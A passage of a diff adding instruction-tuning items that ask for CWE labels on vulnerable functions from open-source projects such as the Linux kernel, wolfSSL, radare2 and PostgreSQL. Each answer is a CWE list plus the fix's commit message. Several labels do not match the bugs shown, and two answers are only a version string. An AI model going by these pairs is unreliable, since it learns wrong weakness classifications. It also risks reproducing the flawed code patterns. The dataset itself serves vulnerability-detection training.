dont_replicate_nodes;\n  for (const auto& variable : item.MainVariables()) {\n    dont_replicate_nodes.insert(variable->name());\n  }\n\n  for (const auto& init : item.init_ops) {\n    dont_replicate_nodes.insert(NodeName(init));\n  }\n\n  // Don't replicate all input nodes, except the dequeue node.\n  for (const auto& input_node : input_nodes) {\n    if (input_node->name() != dequeue_node->name()) {\n      dont_replicate_nodes.insert(input_node->name());\n    }\n  }\n\n  for (const auto& node : train_nodes) {\n    if (dont_replicate_nodes.find(node->name()) == dont_replicate_nodes.end()) {\n      replica_nodes_.insert(node->name());\n    }\n  }\n  LOG(INFO) << \"Number of replica nodes: \" << replica_nodes_.size();\n\n  for (const auto& node : all_nodes_) {\n    if (replica_nodes_.find(node.first) == replica_nodes_.end()) {\n      shared_nodes_.insert(node.first);\n    }\n  }\n  LOG(INFO) << \"Number of shared nodes: \" << shared_nodes_.size();\n  return Status::OK();\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-908'], 'message': 'Prevent unitialized variable use in grappler.\n\nPiperOrigin-RevId: 399702928\nChange-Id: Id7e75451fbff297692dfb687f60ea04b25c96b24'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code:   QInt8() {} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-908', 'CWE-787'], 'message': 'Default initialize fixed point Eigen types.\n\nIn certain cases, tensors are filled with default values of the type. But, for these fixed point types, these values were uninitialized. Thus, we would have uninitialized memory access bugs, some of which were caught by MSAN.\n\nPiperOrigin-RevId: 344101137\nChange-Id: I14555fda74dca3b5f1582da9008901937e3f14e2'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static gboolean prplcb_xfer_new_send_cb(gpointer data, gint fd, b_input_condition cond)\n{\n\tPurpleXfer *xfer = data;\n\tstruct im_connection *ic = purple_ic_by_pa(xfer->account);\n\tstruct prpl_xfer_data *px = xfer->ui_data;\n\tPurpleBuddy *buddy;\n\tconst char *who;\n\n\tbuddy = purple_find_buddy(xfer->account, xfer->who);\n\twho = buddy ? purple_buddy_get_name(buddy) : xfer->who;\n\n\t/* TODO(wilmer): After spreading some more const goodness in BitlBee,\n\t   remove the evil cast below. */\n\tpx->ft = imcb_file_send_start(ic, (char *) who, xfer->filename, xfer->size);\n\tpx->ft->data = px;\n\n\tpx->ft->accept = prpl_xfer_accept;\n\tpx->ft->canceled = prpl_xfer_canceled;\n\tpx->ft->free = prpl_xfer_free;\n\tpx->ft->write_request = prpl_xfer_write_request;\n\n\treturn FALSE;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-476'], 'message': 'purple: Fix crash on ft requests from unknown contacts\n\nFollowup to 701ab81 (included in 3.5) which was a partial fix which only\nimproved things for non-libpurple file transfers (that is, just jabber)'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: hb_set_union (hb_set_t       *set,\n\t      const hb_set_t *other)\n{\n  if (unlikely (hb_object_is_immutable (set)))\n    return;\n\n  set->union_ (*other);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': '[set] Make all operators null-safe again\n\nChanged my mind.\n\nAlso for hb_map_clear().\n\nPart of https://github.com/harfbuzz/harfbuzz/pull/3162'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: SYSCALL_DEFINE2(osf_getdomainname, char __user *, name, int, namelen)\n{\n\tunsigned len;\n\tint i;\n\n\tif (!access_ok(VERIFY_WRITE, name, namelen))\n\t\treturn -EFAULT;\n\n\tlen = namelen;\n\tif (namelen > 32)\n\t\tlen = 32;\n\n\tdown_read(&uts_sem);\n\tfor (i = 0; i < len; ++i) {\n\t\t__put_user(utsname()->domainname[i], name + i);\n\t\tif (utsname()->domainname[i] == '\\0')\n\t\t\tbreak;\n\t}\n\tup_read(&uts_sem);\n\n\treturn 0;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703', 'CWE-264', 'CWE-189'], 'message': 'alpha: fix several security issues\n\nFix several security issues in Alpha-specific syscalls.  Untested, but\nmostly trivial.\n\n1. Signedness issue in osf_getdomainname allows copying out-of-bounds\nkernel memory to userland.\n\n2. Signedness issue in osf_sysinfo allows copying large amounts of\nkernel memory to userland.\n\n3. Typo (?) in osf_getsysinfo bounds minimum instead of maximum copy\nsize, allowing copying large amounts of kernel memory to userland.\n\n4. Usage of user pointer in osf_wait4 while under KERNEL_DS allows\nprivilege escalation via writing return value of sys_wait4 to kernel\nmemory.\n\nSigned-off-by: Dan Rosenberg \nCc: Richard Henderson \nCc: Ivan Kokshaysky \nCc: Matt Turner \nSigned-off-by: Andrew Morton \nSigned-off-by: Linus Torvalds '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void ActiveStreamEncoderFilter::responseDataTooLarge() {\n  if (parent_.state_.encoder_filters_streaming_) {\n    onEncoderFilterAboveWriteBufferHighWatermark();\n  } else {\n    parent_.filter_manager_callbacks_.onResponseDataTooLarge();\n\n    // In this case, sendLocalReply will either send a response directly to the encoder, or\n    // reset the stream.\n    parent_.sendLocalReply(\n        Http::Code::InternalServerError, CodeUtility::toString(Http::Code::InternalServerError),\n        nullptr, absl::nullopt, StreamInfo::ResponseCodeDetails::get().ResponsePayloadTooLarge);\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-416'], 'message': 'CVE-2021-43825\n\nResponse filter manager crash\n\nSigned-off-by: Yan Avlasov '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: bool WindowsServiceControl::install( const QString& filePath, const QString& displayName  )\n{\n\tm_serviceHandle = CreateService(\n\t\t\t\tm_serviceManager,\t\t// SCManager database\n\t\t\t\tWindowsCoreFunctions::toConstWCharArray( m_name ),\t// name of service\n\t\t\t\tWindowsCoreFunctions::toConstWCharArray( displayName ),// name to display\n\t\t\t\tSERVICE_ALL_ACCESS,\t// desired access\n\t\t\t\tSERVICE_WIN32_OWN_PROCESS,\n\t\t\t\t// service type\n\t\t\t\tSERVICE_AUTO_START,\t// start type\n\t\t\t\tSERVICE_ERROR_NORMAL,\t// error control type\n\t\t\t\tWindowsCoreFunctions::toConstWCharArray( filePath ),\t\t// service's binary\n\t\t\t\tnullptr,\t\t\t// no load ordering group\n\t\t\t\tnullptr,\t\t\t// no tag identifier\n\t\t\t\tL\"Tcpip\\0RpcSs\\0\\0\",\t\t// dependencies\n\t\t\t\tnullptr,\t\t\t// LocalSystem account\n\t\t\t\tnullptr );\t\t\t// no password\n\n\tif( m_serviceHandle == nullptr )\n\t{\n\t\tconst auto error = GetLastError();\n\t\tif( error == ERROR_SERVICE_EXISTS )\n\t\t{\n\t\t\tvCritical() << qUtf8Printable( tr( \"The service \\\"%1\\\" is already installed.\" ).arg( m_name ) );\n\t\t}\n\t\telse\n\t\t{\n\t\t\tvCritical() << qUtf8Printable( tr( \"The service \\\"%1\\\" could not be installed.\" ).arg( m_name ) );\n\t\t}\n\n\t\treturn false;\n\t}\n\n\tSC_ACTION serviceActions;\n\tserviceActions.Delay = 10000;\n\tserviceActions.Type = SC_ACTION_RESTART;\n\n\tSERVICE_FAILURE_ACTIONS serviceFailureActions;\n\tserviceFailureActions.dwResetPeriod = 0;\n\tserviceFailureActions.lpRebootMsg = nullptr;\n\tserviceFailureActions.lpCommand = nullptr;\n\tserviceFailureActions.lpsaActions = &serviceActions;\n\tserviceFailureActions.cActions = 1;\n\tChangeServiceConfig2( m_serviceHandle, SERVICE_CONFIG_FAILURE_ACTIONS, &serviceFailureActions );\n\n\t// Everything went fine\n\tvInfo() << qUtf8Printable( tr( \"The service \\\"%1\\\" has been installed successfully.\" ).arg( m_name ) );\n\n\treturn true;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-428', 'CWE-295'], 'message': 'WindowsServiceControl: quote service binary path\n\nFix unquoted service path vulnerability.\n\nCloses #657.'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static inline void encode_openhdr(struct xdr_stream *xdr, const struct nfs_openargs *arg)\n{\n\t__be32 *p;\n /*\n * opcode 4, seqid 4, share_access 4, share_deny 4, clientid 8, ownerlen 4,\n * owner 4 = 32\n */\n\tRESERVE_SPACE(8);\n\tWRITE32(OP_OPEN);\n\tWRITE32(arg->seqid->sequence->counter);\n\tencode_share_access(xdr, arg->open_flags);\n\tRESERVE_SPACE(28);\n\tWRITE64(arg->clientid);\n\tWRITE32(16);\n\tWRITEMEM(\"open id:\", 8);\n\tWRITE64(arg->id);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'NFSv4: Convert the open and close ops to use fmode\n\nSigned-off-by: Trond Myklebust '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void nfs4_close_sync(struct path *path, struct nfs4_state *state, mode_t mode)\n{\n\t__nfs4_close(path, state, mode, 1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'NFSv4: Convert the open and close ops to use fmode\n\nSigned-off-by: Trond Myklebust '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static void __update_open_stateid(struct nfs4_state *state, nfs4_stateid *open_stateid, const nfs4_stateid *deleg_stateid, int open_flags)\n{\n\t/*\n\t * Protect the call to nfs4_state_set_mode_locked and\n\t * serialise the stateid update\n\t */\n\twrite_seqlock(&state->seqlock);\n\tif (deleg_stateid != NULL) {\n\t\tmemcpy(state->stateid.data, deleg_stateid->data, sizeof(state->stateid.data));\n\t\tset_bit(NFS_DELEGATED_STATE, &state->flags);\n\t}\n\tif (open_stateid != NULL)\n\t\tnfs_set_open_stateid_locked(state, open_stateid, open_flags);\n\twrite_sequnlock(&state->seqlock);\n\tspin_lock(&state->owner->so_lock);\n\tupdate_open_stateflags(state, open_flags);\n\tspin_unlock(&state->owner->so_lock);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-703'], 'message': 'NFSv4: Convert the open and close ops to use fmode\n\nSigned-off-by: Trond Myklebust '"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void CLASS nikon_yuv_load_raw()\n{\n  int row, col, yuv[4], rgb[3], b, c;\n  UINT64 bitbuf=0;\n  float cmul[4];\n  FORC4 { cmul[c] = cam_mul[c]>0.001f?cam_mul[c]:1.f; }\n  for (row=0; row < raw_height; row++)\n  {\n#ifdef LIBRAW_LIBRARY_BUILD\n    checkCancel();\n#endif\n\n    for (col=0; col < raw_width; col++) {\n      if (!(b = col & 1)) {\n\tbitbuf = 0;\n\tFORC(6) bitbuf |= (UINT64) fgetc(ifp) << c*8;\n\tFORC(4) yuv[c] = (bitbuf >> c*12 & 0xfff) - (c >> 1 << 11);\n      }\n      rgb[0] = yuv[b] + 1.370705*yuv[3];\n      rgb[1] = yuv[b] - 0.337633*yuv[2] - 0.698001*yuv[3];\n      rgb[2] = yuv[b] + 1.732446*yuv[2];\n      FORC3 image[row*width+col][c] = curve[LIM(rgb[c],0,0xfff)] / cmul[c];\n    }\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': '0.18.17'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void CLASS sinar_4shot_load_raw()\n{\n  ushort *pixel;\n  unsigned shot, row, col, r, c;\n\n  if (raw_image) {\n    shot = LIM (shot_select, 1, 4) - 1;\n    fseek (ifp, data_offset + shot*4, SEEK_SET);\n    fseek (ifp, get4(), SEEK_SET);\n    unpacked_load_raw();\n    return;\n  }\n  pixel = (ushort *) calloc (raw_width, sizeof *pixel);\n  merror (pixel, \"sinar_4shot_load_raw()\");\n#ifdef LIBRAW_LIBRARY_BUILD\n  try {\n#endif\n  for (shot=0; shot < 4; shot++) {\n#ifdef LIBRAW_LIBRARY_BUILD\n    checkCancel();\n#endif\n    fseek (ifp, data_offset + shot*4, SEEK_SET);\n    fseek (ifp, get4(), SEEK_SET);\n    for (row=0; row < raw_height; row++) {\n      read_shorts (pixel, raw_width);\n      if ((r = row-top_margin - (shot >> 1 & 1)) >= height) continue;\n      for (col=0; col < raw_width; col++) {\n\tif ((c = col-left_margin - (shot & 1)) >= width) continue;\n\timage[r*width+c][(row & 1)*3 ^ (~col & 1)] = pixel[col];\n      }\n    }\n  }\n#ifdef LIBRAW_LIBRARY_BUILD\n  } catch (...) {\n    free(pixel);\n    throw;\n  }\n#endif\n  free (pixel);\n  mix_green = 1;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-787'], 'message': '0.18.17'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: int wc_SignatureGenerateHash(\n    enum wc_HashType hash_type, enum wc_SignatureType sig_type,\n    const byte* hash_data, word32 hash_len,\n    byte* sig, word32 *sig_len,\n    const void* key, word32 key_len, WC_RNG* rng)\n{\n    int ret;\n\n    /* Suppress possible unused arg if all signature types are disabled */\n    (void)rng;\n\n    /* Check arguments */\n    if (hash_data == NULL || hash_len <= 0 ||\n        sig == NULL || sig_len == NULL || *sig_len <= 0 ||\n        key == NULL || key_len <= 0) {\n        return BAD_FUNC_ARG;\n    }\n\n    /* Validate signature len (needs to be at least max) */\n    if ((int)*sig_len < wc_SignatureGetSize(sig_type, key, key_len)) {\n        WOLFSSL_MSG(\"wc_SignatureGenerate: Invalid sig type/len\");\n        return BAD_FUNC_ARG;\n    }\n\n    /* Validate hash size */\n    ret = wc_HashGetDigestSize(hash_type);\n    if (ret < 0) {\n        WOLFSSL_MSG(\"wc_SignatureGenerate: Invalid hash type/len\");\n        return ret;\n    }\n    ret = 0;\n\n    /* Create signature using hash as data */\n    switch (sig_type) {\n        case WC_SIGNATURE_TYPE_ECC:\n#if defined(HAVE_ECC) && defined(HAVE_ECC_SIGN)\n            /* Create signature using provided ECC key */\n            do {\n            #ifdef WOLFSSL_ASYNC_CRYPT\n                ret = wc_AsyncWait(ret, &((ecc_key*)key)->asyncDev,\n                    WC_ASYNC_FLAG_CALL_AGAIN);\n            #endif\n            if (ret >= 0)\n                ret = wc_ecc_sign_hash(hash_data, hash_len, sig, sig_len,\n                    rng, (ecc_key*)key);\n            } while (ret == WC_PENDING_E);\n#else\n            ret = SIG_TYPE_E;\n#endif\n            break;\n\n        case WC_SIGNATURE_TYPE_RSA_W_ENC:\n        case WC_SIGNATURE_TYPE_RSA:\n#if !defined(NO_RSA) && !defined(WOLFSSL_RSA_PUBLIC_ONLY)\n            /* Create signature using provided RSA key */\n            do {\n            #ifdef WOLFSSL_ASYNC_CRYPT\n                ret = wc_AsyncWait(ret, &((RsaKey*)key)->asyncDev,\n                    WC_ASYNC_FLAG_CALL_AGAIN);\n            #endif\n                if (ret >= 0)\n                    ret = wc_RsaSSL_Sign(hash_data, hash_len, sig, *sig_len,\n                        (RsaKey*)key, rng);\n            } while (ret == WC_PENDING_E);\n            if (ret >= 0) {\n                *sig_len = ret;\n                ret = 0; /* Success */\n            }\n#else\n            ret = SIG_TYPE_E;\n#endif\n            break;\n\n        case WC_SIGNATURE_TYPE_NONE:\n        default:\n            ret = BAD_FUNC_ARG;\n            break;\n    }\n\n    return ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-200', 'CWE-327', 'CWE-347'], 'message': 'Change signature generation to verify by default'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: static RList *r_bin_wasm_get_global_entries (RBinWasmObj *bin, RBinWasmSection *sec) {\n\tRList *ret = NULL;\n\tRBinWasmGlobalEntry *ptr = NULL;\n\tint buflen = bin->buf->length;\n\tif (sec->payload_data + 32 > buflen) {\n\t\treturn NULL;\n\t}\n\n\tif (!(ret = r_list_newf ((RListFree)free))) {\n\t\treturn NULL;\n\t}\n\n\tut8* buf = bin->buf->buf + (ut32)sec->payload_data;\n\tut32 len =  sec->payload_len;\n\tut32 count = sec->count;\n\tut32 i = 0, r = 0;\n\n\twhile (i < len && len < buflen && r < count) {\n\t\tif (!(ptr = R_NEW0 (RBinWasmGlobalEntry))) {\n\t\t\treturn ret;\n\t\t}\n\n\t\tif (len + 8 > buflen || !(consume_u8 (buf + i, buf + len, (ut8*)&ptr->content_type, &i))) {\n\t\t\tgoto beach;\n\t\t}\n\t\tif (len + 8 > buflen || !(consume_u8 (buf + i, buf + len, &ptr->mutability, &i))) {\n\t\t\tgoto beach;\n\t\t}\n\t\tif (len + 8 > buflen || !(consume_init_expr (buf + i, buf + len, R_BIN_WASM_END_OF_CODE, NULL, &i))) {\n\t\t\tgoto beach;\n\t\t}\n\t\tr_list_append (ret, ptr);\n\t\tr++;\n\t}\n\treturn ret;\nbeach:\n\tfree (ptr);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-125', 'CWE-787'], 'message': 'Fix crash in fuzzed wasm r2_hoobr_consume_init_expr'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: void FrameFactory::rebuildAggregateFrames(ID3v2::Tag *tag) const\n{\n  if(tag->header()->majorVersion() < 4 &&\n     tag->frameList(\"TDRC\").size() == 1 &&\n     tag->frameList(\"TDAT\").size() == 1)\n  {\n    TextIdentificationFrame *tdrc =\n      static_cast(tag->frameList(\"TDRC\").front());\n    UnknownFrame *tdat = static_cast(tag->frameList(\"TDAT\").front());\n\n    if(tdrc->fieldList().size() == 1 &&\n       tdrc->fieldList().front().size() == 4 &&\n       tdat->data().size() >= 5)\n    {\n      String date(tdat->data().mid(1), String::Type(tdat->data()[0]));\n      if(date.length() == 4) {\n        tdrc->setText(tdrc->toString() + '-' + date.substr(2, 2) + '-' + date.substr(0, 2));\n        if(tag->frameList(\"TIME\").size() == 1) {\n          UnknownFrame *timeframe = static_cast(tag->frameList(\"TIME\").front());\n          if(timeframe->data().size() >= 5) {\n            String time(timeframe->data().mid(1), String::Type(timeframe->data()[0]));\n            if(time.length() == 4) {\n              tdrc->setText(tdrc->toString() + 'T' + time.substr(0, 2) + ':' + time.substr(2, 2));\n            }\n          }\n        }\n      }\n    }\n  }\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-434', 'CWE-352'], 'message': 'Don't assume TDRC is an instance of TextIdentificationFrame (#831)\n\nIf TDRC is encrypted, FrameFactory::createFrame() returns UnknownFrame\r\nwhich causes problems in rebuildAggregateFrames() when it is assumed\r\nthat TDRC is a TextIdentificationFrame'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: LIBOPENMPT_MODPLUG_API unsigned int ModPlug_SampleName(ModPlugFile* file, unsigned int qual, char* buff)\n{\n\tconst char* str;\n\tunsigned int retval;\n\tsize_t tmpretval;\n\tif(!file) return 0;\n\tstr = openmpt_module_get_sample_name(file->mod,qual-1);\n\tif(!str){\n\t\tif(buff){\n\t\t\t*buff = '\\0';\n\t\t}\n\t\treturn 0;\n\t}\n\ttmpretval = strlen(str);\n\tif(tmpretval>=INT_MAX){\n\t\ttmpretval = INT_MAX-1;\n\t}\n\tretval = (int)tmpretval;\n\tif(buff){\n\t\tmemcpy(buff,str,retval+1);\n\t\tbuff[retval] = '\\0';\n\t}\n\topenmpt_free_string(str);\n\treturn retval;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-120', 'CWE-295'], 'message': '[Fix] libmodplug: C API: Limit the length of strings copied to the output buffer of ModPlug_InstrumentName() and ModPlug_SampleName() to 32 bytes (including terminating null) as is done by original libmodplug. This avoids potential buffer overflows in software relying on this limit instead of querying the required buffer size beforehand. libopenmpt can return strings longer than 32 bytes here beacuse the internal limit of 32 bytes applies to strings encoded in arbitrary character encodings but the API returns them converted to UTF-8, which can be longer. (reported by Antonio Morales Maldonado of Semmle Security Research Team)\n\ngit-svn-id: https://source.openmpt.org/svn/openmpt/trunk/OpenMPT@12127 56274372-70c3-4bfc-bfc3-4c3a0b034d27'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: CreateForeignServer(CreateForeignServerStmt *stmt)\n{\n\tRelation\trel;\n\tDatum\t\tsrvoptions;\n\tDatum\t\tvalues[Natts_pg_foreign_server];\n\tbool\t\tnulls[Natts_pg_foreign_server];\n\tHeapTuple\ttuple;\n\tOid\t\t\tsrvId;\n\tOid\t\t\townerId;\n\tAclResult\taclresult;\n\tObjectAddress myself;\n\tObjectAddress referenced;\n\tForeignDataWrapper *fdw;\n\n\trel = table_open(ForeignServerRelationId, RowExclusiveLock);\n\n\t/* For now the owner cannot be specified on create. Use effective user ID. */\n\townerId = GetUserId();\n\n\t/*\n\t * Check that there is no other foreign server by this name. Do nothing if\n\t * IF NOT EXISTS was enforced.\n\t */\n\tif (GetForeignServerByName(stmt->servername, true) != NULL)\n\t{\n\t\tif (stmt->if_not_exists)\n\t\t{\n\t\t\tereport(NOTICE,\n\t\t\t\t\t(errcode(ERRCODE_DUPLICATE_OBJECT),\n\t\t\t\t\t errmsg(\"server \\\"%s\\\" already exists, skipping\",\n\t\t\t\t\t\t\tstmt->servername)));\n\t\t\ttable_close(rel, RowExclusiveLock);\n\t\t\treturn InvalidObjectAddress;\n\t\t}\n\t\telse\n\t\t\tereport(ERROR,\n\t\t\t\t\t(errcode(ERRCODE_DUPLICATE_OBJECT),\n\t\t\t\t\t errmsg(\"server \\\"%s\\\" already exists\",\n\t\t\t\t\t\t\tstmt->servername)));\n\t}\n\n\t/*\n\t * Check that the FDW exists and that we have USAGE on it. Also get the\n\t * actual FDW for option validation etc.\n\t */\n\tfdw = GetForeignDataWrapperByName(stmt->fdwname, false);\n\n\taclresult = pg_foreign_data_wrapper_aclcheck(fdw->fdwid, ownerId, ACL_USAGE);\n\tif (aclresult != ACLCHECK_OK)\n\t\taclcheck_error(aclresult, OBJECT_FDW, fdw->fdwname);\n\n\t/*\n\t * Insert tuple into pg_foreign_server.\n\t */\n\tmemset(values, 0, sizeof(values));\n\tmemset(nulls, false, sizeof(nulls));\n\n\tsrvId = GetNewOidWithIndex(rel, ForeignServerOidIndexId,\n\t\t\t\t\t\t\t   Anum_pg_foreign_server_oid);\n\tvalues[Anum_pg_foreign_server_oid - 1] = ObjectIdGetDatum(srvId);\n\tvalues[Anum_pg_foreign_server_srvname - 1] =\n\t\tDirectFunctionCall1(namein, CStringGetDatum(stmt->servername));\n\tvalues[Anum_pg_foreign_server_srvowner - 1] = ObjectIdGetDatum(ownerId);\n\tvalues[Anum_pg_foreign_server_srvfdw - 1] = ObjectIdGetDatum(fdw->fdwid);\n\n\t/* Add server type if supplied */\n\tif (stmt->servertype)\n\t\tvalues[Anum_pg_foreign_server_srvtype - 1] =\n\t\t\tCStringGetTextDatum(stmt->servertype);\n\telse\n\t\tnulls[Anum_pg_foreign_server_srvtype - 1] = true;\n\n\t/* Add server version if supplied */\n\tif (stmt->version)\n\t\tvalues[Anum_pg_foreign_server_srvversion - 1] =\n\t\t\tCStringGetTextDatum(stmt->version);\n\telse\n\t\tnulls[Anum_pg_foreign_server_srvversion - 1] = true;\n\n\t/* Start with a blank acl */\n\tnulls[Anum_pg_foreign_server_srvacl - 1] = true;\n\n\t/* Add server options */\n\tsrvoptions = transformGenericOptions(ForeignServerRelationId,\n\t\t\t\t\t\t\t\t\t\t PointerGetDatum(NULL),\n\t\t\t\t\t\t\t\t\t\t stmt->options,\n\t\t\t\t\t\t\t\t\t\t fdw->fdwvalidator);\n\n\tif (PointerIsValid(DatumGetPointer(srvoptions)))\n\t\tvalues[Anum_pg_foreign_server_srvoptions - 1] = srvoptions;\n\telse\n\t\tnulls[Anum_pg_foreign_server_srvoptions - 1] = true;\n\n\ttuple = heap_form_tuple(rel->rd_att, values, nulls);\n\n\tCatalogTupleInsert(rel, tuple);\n\n\theap_freetuple(tuple);\n\n\t/* record dependencies */\n\tmyself.classId = ForeignServerRelationId;\n\tmyself.objectId = srvId;\n\tmyself.objectSubId = 0;\n\n\treferenced.classId = ForeignDataWrapperRelationId;\n\treferenced.objectId = fdw->fdwid;\n\treferenced.objectSubId = 0;\n\trecordDependencyOn(&myself, &referenced, DEPENDENCY_NORMAL);\n\n\trecordDependencyOnOwner(ForeignServerRelationId, srvId, ownerId);\n\n\t/* dependency on extension */\n\trecordDependencyOnCurrentExtension(&myself, false);\n\n\t/* Post creation hook for new foreign server */\n\tInvokeObjectPostCreateHook(ForeignServerRelationId, srvId, 0);\n\n\ttable_close(rel, RowExclusiveLock);\n\n\treturn myself;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n    [/INST] 'cwe': ['CWE-94'], 'message': 'In extensions, don't replace objects not belonging to the extension.\n\nPreviously, if an extension script did CREATE OR REPLACE and there was\nan existing object not belonging to the extension, it would overwrite\nthe object and adopt it into the extension.  This is problematic, first\nbecause the overwrite is probably unintentional, and second because we\ndidn't change the object's ownership.  Thus a hostile user could create\nan object in advance of an expected CREATE EXTENSION command, and would\nthen have ownership rights on an extension object, which could be\nmodified for trojan-horse-type attacks.\n\nHence, forbid CREATE OR REPLACE of an existing object unless it already\nbelongs to the extension.  (Note that we've always forbidden replacing\nan object that belongs to some other extension; only the behavior for\npreviously-free-standing objects changes here.)\n\nFor the same reason, also fail CREATE IF NOT EXISTS when there is\nan existing object that doesn't belong to the extension.\n\nOur thanks to Sven Klemm for reporting this problem.\n\nSecurity: CVE-2022-2625'"
+  },
+  {
+    "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n    Code: aperture_report(gerbv_aperture_t *apertures[], int aperture_num,\n\t\tdouble x, double y, gerbv_image_t *img, gerbv_project_t *prj)\n{\n\tgerbv_aperture_type_t type = apertures[aperture_num]->type;\n\tdouble *params = apertures[aperture_num]->parameter;\n\tgerbv_simplified_amacro_t *sim = apertures[aperture_num]->simplified;\n\tdouble *simpars = sim->parameter;\n\n\tg_message (_(\"    Aperture used: D%d\"), aperture_num);\n\tg_message (_(\"    Aperture type: %s\"),\n\t\t(type == GERBV_APTYPE_MACRO)?\n\t\t\t_(gerbv_aperture_type_name(sim->type)):\n\t\t\t_(gerbv_aperture_type_name(type)));\n\n\tswitch (type) {\n\tcase GERBV_APTYPE_CIRCLE:\n\t\tg_message (_(\"    Diameter: %g %s\"),\n\t\t\tscreen_units(params[0]),\n\t\t\tscreen_units_str());\n\t\tbreak;\n\tcase GERBV_APTYPE_RECTANGLE:\n\tcase GERBV_APTYPE_OVAL:\n\t\tg_message (_(\"    Dimensions: %gx%g %s\"),\n\t\t\tscreen_units(params[0]),\n\t\t\tscreen_units(params[1]),\n\t\t\tscreen_units_str());\n\t\tbreak;\n\tcase GERBV_APTYPE_MACRO: {\n\t\tswitch (sim->type) {\n\t\tcase 